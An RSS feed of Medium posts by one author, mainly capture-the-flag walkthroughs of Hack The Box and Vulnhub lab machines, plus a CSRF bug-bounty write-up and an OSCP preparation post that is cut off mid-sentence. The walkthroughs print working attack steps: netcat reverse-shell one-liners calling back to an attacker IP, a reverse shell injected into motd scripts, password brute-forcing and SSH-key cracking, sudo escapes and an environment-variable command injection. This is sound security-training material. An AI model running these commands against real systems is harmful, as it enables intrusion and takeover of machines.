<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vaibhav Joshi on Medium]]></title>
        <description><![CDATA[Stories by Vaibhav Joshi on Medium]]></description>
        <link>https://medium.com/@vj0shii?source=rss-116d459b000f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*_QW23QAkZ8apVj3wRf4pqg.png</url>
            <title>Stories by Vaibhav Joshi on Medium</title>
            <link>https://medium.com/@vj0shii?source=rss-116d459b000f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:54:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vj0shii/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB OpenAdmin — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-openadmin-walkthrough-7cc8f5cf85ab?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cc8f5cf85ab</guid>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Mon, 14 Jun 2021 21:41:41 GMT</pubDate>
            <atom:updated>2021-06-14T21:41:41.554Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB OpenAdmin — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*kXd-TSU42rwDWVAX7itvlQ.png" /></figure><h3>ENUMERATION</h3><p>So let’s start enumeration with nmap scan</p><pre><strong># nmap -A 10.10.10.171</strong><br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)<br>| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)<br>|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works</pre><p>Apache is running on port 80, on visiting found that there is Apache default page without any information</p><p>Running directory brute forcing</p><pre><strong># python3 dirsearch.py -u </strong><a href="http://10.10.10.171/"><strong>http://10.10.10.171/</strong></a><strong> -e / -t 50</strong></pre><pre>Extensions: / | HTTP method: get | Threads: 50 | Wordlist size: 6122</pre><pre>Target: <a href="http://10.10.10.171/">http://10.10.10.171/</a></pre><pre>[07:40:24] Starting: <br>[07:40:30] 200 -   11KB - /<br>[07:40:53] 200 -   11KB - /index.html<br>[07:40:57] 301 -  312B  - <strong>/music</strong>  -&gt;  <a href="http://10.10.10.171/music/">http://10.10.10.171/music/</a></pre><pre>Task Completed</pre><p>On visiting found directory /music, found many functionality after using all that nothing interesting was found. But when clicked on Login, it redirected to <strong>/ona/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*pifmgoPavTLqTmbG-S3qlg.png" /></figure><p>where found that it is <strong>OpenNetAdmin 18.1.1 </strong>which is vulnerable to RCE</p><h4>Initial Shell</h4><p>The exploit I used is <a href="https://github.com/amriunix/ona-rce">here</a></p><pre><strong># python3 exploit.py exploit </strong><a href="http://10.10.10.171/ona/"><strong>http://10.10.10.171/ona/</strong></a></pre><p>To get reverse shell I used netcat</p><pre><strong># nc -vlp 443</strong> //in attacker machine</pre><pre><strong>$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.196 443 &gt;/tmp/f </strong>//in OpenAdmin machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*ZWMzr5W7AI2i-YZfU6mE5A.png" /></figure><h3>Privilege Escalate— jimmy</h3><p>After some searching on google found that the database credentials are stored in <strong>/opt/ona/www/local/config/database_settings.inc.php </strong>in plaintext</p><pre>ona_sys : n1nj4W4rri0R!</pre><p>But no interesting information is found inside database, inside /home directory I found that there are two users jimmy and joanna, so I tried the database password as in case the same password is used for user account too</p><p>And found that the same password is used for user account <strong>jimmy</strong></p><pre>jimmy : n1nj4W4rri0R!</pre><h3>Privilege Escalate — joanna</h3><p>When I was enumerating from www-data I found that a directory <strong>/var/www/internal </strong>which cannot be accessed by www-data, but can be accessed with user <strong>jimmy</strong></p><pre>drwxrwx---  2 jimmy    internal 4096 Nov 23 17:43 internal</pre><p>Inside that there are 3 file</p><pre>-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php<br>-rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php<br>-rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php</pre><p>The content of main.php seems interesting and looks like the way to user <strong>joanna</strong></p><pre># Open Admin Trusted<br># OpenAdmin<br>$output = shell_exec(&#39;cat /home/joanna/.ssh/id_rsa&#39;);<br>echo &quot;&lt;pre&gt;$output&lt;/pre&gt;&quot;;<br>?&gt;<br>&lt;html&gt;<br>&lt;h3&gt;Don&#39;t forget your &quot;ninja&quot; password&lt;/h3&gt;<br>Click here to logout &lt;a href=&quot;logout.php&quot; tite = &quot;Logout&quot;&gt;Session<br>&lt;/html&gt;</pre><p>It looks like a application here but was not found during web enumeration and also not found any related to port 80, so I tried to find out if there is any addional port which is open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*4NjNjPIfoWxg6rRX9qIohw.png" /></figure><p>It is found that the port 52846 is only open internally that is for localhost only, I tried to access main.php on this port with the help of curl</p><pre><strong>$ curl -s localhost:52846/main.php</strong><br>&lt;pre&gt;-----BEGIN RSA PRIVATE KEY-----<br>Proc-Type: 4,ENCRYPTED</pre><pre>...</pre><pre>-----END RSA PRIVATE KEY-----<br>&lt;/pre&gt;&lt;html&gt;<br>&lt;h3&gt;Don&#39;t forget your &quot;ninja&quot; password&lt;/h3&gt;<br>Click here to logout &lt;a href=&quot;logout.php&quot; tite = &quot;Logout&quot;&gt;Session<br>&lt;/html&gt;</pre><p>And found the private key for user joanna, but it needs passphrase to login so I cracked that with <strong>john</strong></p><pre>// Converting the key to hash to crack the passphrase<strong><br># python3 /usr/share/john/ssh2john.py joanna-ssh &gt; hash</strong></pre><pre>//Brute force to get passphrase with rockyou.txt<br><strong># john hash --wordlist=/usr/share/wordlists/rockyou.txt </strong><br>Using default input encoding: UTF-8<br>Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])<br>Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes<br>Cost 2 (iteration count) is 1 for all loaded hashes<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status</pre><pre><strong>bloodninjas </strong>     (joanna-ssh)<br><br>Session completed</pre><p>Found passphrase as <strong>bloodninjas </strong>and successfully logged in with the ssh key</p><pre><strong># ssh joanna@10.10.10.171 -i joanna-ssh </strong><br>Enter passphrase for key &#39;joanna-ssh&#39;:bloodninjas</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*9XdZWE1KsgqWdcww2VhxuA.png" /></figure><p>user.txt = c9b2cf07d********af62660f0c81b5f</p><h3>Privilege Escalate — root</h3><p>It was pretty straight forward, when I checked for sudo permission found that</p><pre>(ALL) NOPASSWD: /bin/nano /opt/priv</pre><p>To read root.txt</p><pre><strong>$ sudo /bin/nano /opt/priv</strong><br><strong>ctrl + R        </strong>               //Read file option in nano<br><strong>/root/root.txt  </strong>               //In the field when nano ask for name</pre><p>To get root shell</p><pre><strong>$ sudo /bin/nano /opt/priv</strong><br><strong>ctrl + R  </strong>                     //Read file option in nano<br><strong>ctlr + X    </strong>                   //Execute command option in nano<br><strong>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.196 443 &gt;/tmp/f   </strong>                 //In the field when nano ask for command</pre><pre><strong># nc -lvp 443 </strong>                 // In attacker machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSmo-Jm0tu1mjyXCc--inw.png" /></figure><p>root.txt = 2f907ed450b3********4e8795d5b561</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cc8f5cf85ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Traceback — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-traceback-walkthrough-40c43da68aa7?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/40c43da68aa7</guid>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Mon, 14 Jun 2021 21:41:12 GMT</pubDate>
            <atom:updated>2021-06-14T21:41:12.470Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Traceback — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*9Aiak25fdQZ2oKdN3PSBUQ.png" /></figure><h3>ENUMERATION</h3><p>So let’s start enumeration with nmap scan</p><pre><strong>$ nmap -A 10.10.10.181</strong><br>PORT   STATE SERVICE    VERSION<br>22/tcp open  tcpwrapped<br>| ssh-hostkey: <br>|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)<br>|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)<br>|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)<br>80/tcp open  http       Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Help us</pre><p>Apache is running on port 80, on visiting there is text on the page saying that there is a backdoor</p><pre>This site has been owned<br>I have left a backdoor for all the net. FREE INTERNETZZZ<br>- Xh4H -</pre><p>When I checked the source code there was a comment</p><pre>&lt;!--Some of the best web shells that you might need ;)--&gt;</pre><p>It reminds me of the webshells by <em>TheBinitGhimire </em>but for confiming I searched this comment on google and found that the machine creator <em>Xh4H </em>has forked the Web-Shells repository by <em>TheBinitGhimire</em></p><p>I made a list containing the names of all shells</p><pre>alfa3.php<br>alfav3.0.1.php<br>andela.php<br>bloodsecv4.php<br>by.php<br>c99ud.php<br>cmd.php<br>configkillerionkros.php<br>jspshell.jsp<br>mini.php<br>obfuscated-punknopass.php<br>punk-nopass.php<br>punkholic.php<br>r57.php<br>smevk.php<br>wso2.8.5.php</pre><p>And started a directory brute forcing with this list</p><pre># dirsearch.py -u <a href="http://10.10.10.181/">http://10.10.10.181</a> -w list -e /</pre><pre>_|. _ _  _  _  _ _|_    v0.3.9<br>(_||| _) (/_(_|| (_| )</pre><pre>Extensions: / | HTTP method: get | Threads: 10 | Wordlist size: 16</pre><pre>Error Log: /root/tools/dirsearch/logs/errors-20-04-28_23-54-08.log</pre><pre>Target: <a href="http://10.10.10.181/">http://10.10.10.181</a></pre><pre>[23:54:08] Starting: <br>[23:54:10] 200 -    1KB - <strong>/smevk.php</strong></pre><pre>Task Completed</pre><h4><strong>Initial Shell</strong></h4><p>Found that <em>smevk.php </em>was deployed there and with default password admin:admin so I logged in and executed command, found out that current user name is webadmin</p><p>To get reverse shell, in the execute command form</p><pre><strong>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.55 443 &gt;/tmp/f</strong></pre><pre><strong># nc -lvp 443</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*PCkSaliMMFYsq0G38taVwQ.png" /></figure><h4><strong>Privilege Escalation — sysadmin</strong></h4><p>Inside /home/sysadmin found a note.txt with text</p><pre>- sysadmin -<br>I have left a tool to practice Lua.<br>I&#39;m sure you know where to find it.<br>Contact me if you have any question.</pre><p>Then on checking sudo permissions found that we have permission to run a binary without password</p><pre>(sysadmin) NOPASSWD: /home/sysadmin/luvit</pre><p>As it is luvit, and there is function to run system command, get sysadmin shell, so I created a lua script and executed it with sudo privileges</p><pre>$ echo &#39;os.execute(&quot;bash&quot;)&#39; &gt; test.lua<br>$ sudo -u sysadmin /home/sysadmin/luvit test.lua</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*PupsQhw35QrHTiGhm1ivWg.png" /></figure><p>user.txt = daad8c6ce76b80********ba5b5817e5</p><h4>Privilege Escalation — root</h4><p>During enumeration I found that there are some writable files inside /etc/update-motd.d/ directory which is a very good sign, a brief idea about the files is that this files will be executed as root user, when a user login into the system. So if there is a file named test, when a user will login or ssh into the box the following command will run a root</p><pre>$ /bin/sh test</pre><p>But the problem is that there is cronjob running which replace the files inside /etc/update-motd.d/ with the same files at another location where the files are not writable, So we need to be quick</p><p>Also if we put our reverse shell command at the end of any file it will not be executed because none of the scripts are being executed till the last line, and if we completely overwrite the file with out payload like using &gt; in <em>echo </em>then the file will not be executed</p><p>I generated a ssh key with ssh-keygen command in my host machine and then inserted the public key inside the server</p><pre># <strong>ssh-keygen<br># cat id_rsa.pub </strong>//copy the full text<strong><br>$ echo &quot;</strong>{id_rsa content}<strong>&quot; &gt; /home/sysadmin/.ssh/authorized_keys</strong></pre><p>I wrote my code in <strong>/etc/update-motd.d/91-release-upgrade </strong>with nano command</p><p>after that the file content looks like:</p><pre>#!/bin/sh<br><strong>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.55 443 &gt;/tmp/f          </strong>//payload</pre><pre># if the current release is under development there won&#39;t be a new one<br>if [ &quot;$(lsb_release -sd | cut -d&#39; &#39; -f4)&quot; = &quot;(development&quot; ]; then<br>    exit 0<br>fi<br>if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then<br>    exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd<br>fi</pre><p>Then I started a nc listener on my end and ssh into the box with the private key generated before</p><pre><strong># nc -lvp 443</strong></pre><pre><strong># ssh -i id_rsa sysadmin@10.10.10.181</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*2YpZRDHMhTLtSZ54KjrdLw.png" /></figure><p>It needs to be quick otherwise out payload file will be replaced by the cronjob</p><p>As I falied many times because nano was taking time in it, so I used sed command to come over this, I used the below command</p><pre><strong>$ sed &quot;/sh/a rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.55 443 &gt;/tmp/f&quot; /etc/update-motd.d/91-release-upgrade &gt; /etc/update-motd.d/50-motd-news</strong></pre><p>one divding it into parts</p><ul><li><strong>/sh/a</strong> is used so that my code will be inserted after it found the sh keyword, that means in the second line of code, after /bin/sh</li><li><strong>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.55 443 &gt;/tmp/f </strong>it is reverse shell payload which I am inserting into the code</li><li><strong>/etc/update-motd.d/91-release-upgrade </strong>is one file containing the code</li><li><strong>/etc/update-motd.d/50-motd-news</strong> is another file at same location which will be executed on login, so I overwrite this with the code, because with <strong>sed </strong>I cannot put the content back in <strong>91-release-upgrade</strong></li></ul><p>then ssh into the box and get reverse shell</p><p>I also created my python exploit to automate the exploitation, link is <a href="https://gist.github.com/vj0shii/3b97270f6f578e7286d3787edadb71c0">here</a></p><p>To get more information about update-motd.d visit <a href="http://manpages.ubuntu.com/manpages/trusty/man5/update-motd.5.html">here</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40c43da68aa7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Compromise complete application with CSRF attack]]></title>
            <link>https://vj0shii.medium.com/compromise-complete-application-with-csrf-attack-68ea25525fe5?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/68ea25525fe5</guid>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Fri, 29 May 2020 08:50:05 GMT</pubDate>
            <atom:updated>2020-05-29T14:10:50.674Z</atom:updated>
            <content:encoded><![CDATA[<p>I was looking for responsible disclosure programs and came across a program, let&#39;s call it example.com</p><p>I started enumeration, the website is basically used to create an application which will be deployed as a subdomain on the website domain, like if I created an application test then URL to the application will be <a href="https://test.example.com/">https://test.example.com</a></p><p>I created an application that has URL <a href="https://test32123.reportgarden.com/">https://test.example.com/</a>, the first thing that I noticed is there was no Email verification</p><p>During enumeration, I came across the Profile update page from where the user’s name can be changed but Email field was disabled on the frontend</p><p>When I intercepted the request the email parameter was there and from that, the email can be successfully updated but it is very low impact vulnerability so I keep looking on the website</p><p>On the same request, I found that there was no CSRF token, before creating a CSRF POC and testing, I started minimizing the request parameters, The request had Content-Type: multipart/form-data, and had JSON data</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/80d4c0ae03c2e08fa29281f1d92882b4/href">https://medium.com/media/80d4c0ae03c2e08fa29281f1d92882b4/href</a></iframe><p>Opened this CSRF POC in the same browser where the user is logged in, and click on Submit and the user email will be updated to testeing123@test.com</p><p>After that, the password can be changed with the Forgot Password function and as the POC is for <em>superadmin </em>the complete application can be compromised</p><h4>List of Vulnerability helped in Exploitation</h4><ol><li>No email verification</li><li>Improper Validation on Server site — Email Update</li><li>No Cross-Site Requests Forgery Protection — Anti CSRF token missing</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68ea25525fe5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub UA: Literally Vulnerable — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/vulnhub-ua-literally-vulnerable-walkthrough-e95e43c2f9a3?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e95e43c2f9a3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Sat, 14 Dec 2019 16:19:14 GMT</pubDate>
            <atom:updated>2020-01-17T08:39:46.444Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnhub UA: Literally Vulnerable — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*u5WglCq-u6vVvOf2ucprtg.png" /></figure><h4>Overview</h4><p>According to the maker, the initial shell is easy and privesc is intermediate, but I don’t think so. The machine was very easy from start to end and took 1 hour and 30 minutes to complete. There is WordPress running on port 65535 which is exploited to get initial shell as user www-data and after that there is a binary which is taking input from env variable on exploiting that got shell as user John and exploited sudo permissions to root.</p><h4>Enumeration</h4><p>Started with nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*gS1JZRkrLfHRDpKmNxoETw.png" /><figcaption>4 Open Ports</figcaption></figure><p>In nmap found 4 open ports</p><p><strong>21:FTP</strong></p><p>From nmap we found that there is anonymous login enabled on port 21 and a file with read access backupPasswords took that file in local machine and on reading found that there is a list of password for a user Doe, from which one is correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*KN2Ok0UG05tO5O-gCclMkQ.png" /></figure><p>This password looks like the passwords generated by WordPress, WordPress is running on port 80, then why I am here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*WHSrBy71oGjz9LQyIq_45Q.gif" /></figure><p><strong>80:Apache</strong></p><p>A newly deployed WordPress, Nothing in the posts, from wpscan found nothing other that user admin, When I clicked on Log In it redirects to <a href="http://literally.vulnerable/wp-login.php">http://literally.vulnerable/wp-login.php</a> , adding this domain in /etc/hosts , then I can access the login page</p><p>Brute force on login</p><pre># hydra -l admin -P pass.txt literally.vulnerable http-post-form ‘/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log In&amp;testcookie=1:F=ERROR’</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_xD2fSqqPywPfuzvij1hdQ.png" /></figure><p>No passwords found, On trying directory brute forcing and nikto found nothing interesting…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*wwIj7ny6FwBwRWjLhNUJpA.gif" /></figure><p>But then I remembered that there is one more to be enumerated</p><p><strong>65535:Apache</strong></p><p>On home page there is default Apache page, after directory brute forcing from some wordlists, found a directory /phpcms inside that there is WordPress with a password protected blog and a comment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lbcQQfELTMWIhxMCHs25mA.png" /></figure><p>From this comment we know that there is a WordPress password for John user in that blog, but how to access that.</p><p>In wpscan found two user maybeadmin &amp; notadmin , saved both username in a file user.txt and brute forced with the passwords we got from ftp</p><pre># wpscan --url <a href="http://literally.vulnerable:65535/phpcms">http://literally.vulnerable:65535/phpcms</a> --usernames user.txt --passwords pass.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*MHQB-sIbcKIzD1CpTxrkwA.png" /><figcaption>Found valid password for a user</figcaption></figure><p>After login found that it is a simple user and we can’t do much with it, but we can view the password protected blog, from that found password for user notadmin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkyXIbHBI0CDb4oPW6kfzg.png" /></figure><p>Logged in with user notadmin and found that it is WordPress admin user</p><h4>Initial Shell</h4><p>Go to plugins section and in Add New &gt; Upload plugin and upload any php shell you prefer, in my case I will use php-reverse-shell.php, for using that edit the script and put the IP and Port on which you want reverse connection</p><pre>Similar writeup:</pre><pre><a href="https://github.com/vj0shii/Vulnhun-writeups/blob/master/Webdeveloper.pdf">https://github.com/vj0shii/Vulnhun-writeups/blob/master/Webdeveloper.pdf</a></pre><p>it will show a error that the plugin cannot be installed then go to</p><pre><a href="http://literally.vulnerable:65535/phpcms/wp-content/uploads/2019/12/">http://literally.vulnerable:65535/phpcms/wp-content/uploads/2019/12/</a></pre><p>There will be the uploaded php shell, running nc on given port and click on the shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*qhm8pPYG5u6ItIPhBMagXA.png" /></figure><p>To get a proper shell:</p><pre>$ python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>Ctrl+Z<br># stty raw -echo<br># fg<br>$ reset</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*DGC6_3EjkGNMUK8nV7g8GQ.png" /></figure><h4>Privilege Escalate to User John</h4><p>There are two users doe and john, in John’s home directory there is only user.txt which we can’t read, doe’s home directory is a bit interesting, a message from admin not to delete sensitive file, local.txt which is not accessible and a binary named itseasy which we can execute as user john due to sticky bit set of that user.</p><pre>-rwsr-xr-x 1 john john 8632 Dec  4 12:26 itseasy</pre><p>on running this binary it is printing current directory</p><pre>www-data@literallyvulnerable:/home/doe$ ./itseasy <br>Your Path is: /home/doe</pre><p>Initially I thought that it is executing pwd command and we can exploit it something like did in pwnlab:init , but it is not that case after running strings on the binary I found some keywords like getenv and the thing that striked in my mind is the env variable PWD and then I thought it must be printing the value of PWD so I changed that</p><pre>$ export PWD=&quot;;/bin/bash&quot;</pre><p>The semicolon will separate that line into two commands and bash will be executed, then on running the binary I got user john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*J4tUShqwUBfFmipumZb9FQ.png" /></figure><h4>Privilege Escalate to root</h4><p>In user.txt it is written that</p><pre>Almost there! Remember to always check permissions! It might not help you here, but somewhere else! ;)</pre><p>Permissions…., I thought the scope to work is sudo and suid, we do not have credentials for sudo so I focused on suid but after some time found nothing and then when I am out of mind remembered about <a href="https://guif.re/linuxeo">https://guif.re/linuxeo</a>p , which helped me in OSCP so much</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*0efshWcDuMxGf498Z_xsTw.gif" /></figure><p>I was going through the blog and found the find command to harvest passwords files</p><pre>$ find . -type f -iname &quot;*password*&quot;</pre><p>I though lets give it try, when I executed it found a file with john’s password base64 encoded, decoded that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*XSzktM61ji5vMN1re6q1Lg.png" /></figure><p>Now we can run sudo -l to see the permissions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*W0YVZQORO55091mIhH-EOg.png" /></figure><p>On looking at the permission I thought it’s so easy and really it is.</p><p>take another shell with user <strong>www-data</strong> and created a file test.html inside /var/www/html with content</p><pre>#!/bin/bash<br>/bin/bash</pre><p>and modified it’s permission to 777(anyone can read, write and execute)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*1VPh5T3sk_wNWNN_GW8rSQ.png" /></figure><p>Then with john’s shell just executed it with sudo rights and got root user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*pgqRA-cMVSFLxm3mukbq4w.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><ul><li><a href="https://github.com/vj0shii/">vj0shii - Overview</a></li><li><a href="https://www.linkedin.com/in/vj0shii/">Vaibhav Joshi - Cyber Threat Management Analyst - NetSentries Technologies | LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e95e43c2f9a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My way to OSCP]]></title>
            <link>https://vj0shii.medium.com/my-way-to-oscp-5f8a33b6f27f?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f8a33b6f27f</guid>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Wed, 11 Sep 2019 07:32:06 GMT</pubDate>
            <atom:updated>2019-09-13T07:55:03.195Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*ckOs4GNmVy46oXBns0TgNQ.png" /><figcaption>“OSCP is a journey, not a destination”</figcaption></figure><p>Hello friends, I recently completed my OSCP certification and want to share my experience with all of you, I took a 1 month lab and completed 43 machines.</p><h4>Before Registration</h4><p>So my journey started in nearly October 2018 when I registered on Hackthebox Penetration testing platform, and in nearly March 2019 I came to know about OSCP from one of my friend Krishnapal Sharma, in nearly May 2019 when I completed 23 boxes on Hackthebox, I thought to go for OSCP now so I started reading blogs of other peoples on OSCP and started preparing according to that.</p><h4>After Registration</h4><p>Finally on 21 May I registered for OSCP and took 1 month gap before lab starting time, my lab was scheduled on 23 June, in that meantime I started doing Vulnhub machines which helped me so much in the lab, I made list of both Hackthebox and Vulnhub machines for OSCP, My list:</p><pre>HACKTHEBOX: <a href="https://github.com/vj0shii/OSCP/blob/master/Hackthebox-OSCP.pdf">here</a></pre><pre>Vulnhub : <a href="https://github.com/vj0shii/OSCP/blob/master/Vulnhub-OSCP.pdf">here</a></pre><p>So I completed nearly 40+ machines during that time and took a 4 days break before lab</p><h4>In PWK-Lab</h4><p>On the first day, My lab timing is 5:30AM so I woke up at 5:00AM and just took a shower, I was very nervous at that time, at the correct time I got the VPN connection and credentials, that time I downloaded the study material and took a quick look at the pdf after that I started doing the lab at 7:00 AM. Daily I start at 6:00AM to 8:00PM for lab then from 10:00PM to 12:00AM I read the study material and watch videos, I followed the blog of <a href="https://arvandy.com/oscp-first-week/">Arvandy,</a> for the series of machines and completed 43 machines overall, below is the list of machines according to respected day:</p><pre>Day 1. Alice, Phoenix, Mike, Bob, Ralph</pre><pre>Day 2<strong>. </strong>Alpha, Beta, Bethany, DJ, Core</pre><pre>Day 3. Pain, FC4, Dotty, Barry</pre><pre>Day 4. Edbmachine, Helpdesk, Oracle, Kraken</pre><pre>Day 5. Sean, Timeclock, Hotline</pre><pre>Day 6. Niky, Jeff, Internal, Payday</pre><pre>Day 7. Carrie, Leftturn, Susie</pre><pre>Day 8. Kevin, Mail, Pedro, JD</pre><pre>Day 9. Gamma, Tricia, Pi, Tophat</pre><pre>Day 10. Joe, Sherlock</pre><pre>Day 11. Mario, Luigi</pre><pre>Day 12. Gh0st</pre><pre>Day 13. Sufference</pre><pre>Day 14. Humble</pre><p>Useful links:</p><ul><li><a href="https://guif.re/">Guifre Home</a></li><li><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">Basic Linux Privilege Escalation</a></li></ul><ul><li>For other important links please refer to Krishnapal Sharma Blog <a href="https://medium.com/@krishna14u/my-journey-toward-oscp-38ebdcc1ab54">here</a></li></ul><p>After that I scheduled my exam on 9 July at 7:30 AM, but one important thing, Buffer overflow which is very important so in 2 days i completed the SLMail, Vulnserver by offsec, WarFTP and RM2MP3Converter for practice</p><p>Reference for bof:</p><ul><li>Penetration Testing book By Georgia Weidmen</li></ul><ul><li><a href="https://guif.re/bo">Buffers overflow</a></li><li><a href="https://medium.com/@loopspell/10-easy-steps-to-exploit-basic-stack-based-buffer-overflow-3a0472a8a80e">10 Easy Steps to Exploit Basic Stack-Based Buffer Overflow</a></li></ul><h4>On Exam Day</h4><p>I was very unsure about the exam before the day of exam, on the day I woke up at 5:00 AM and took a shower after that had breakfast and setup my room for examination then at 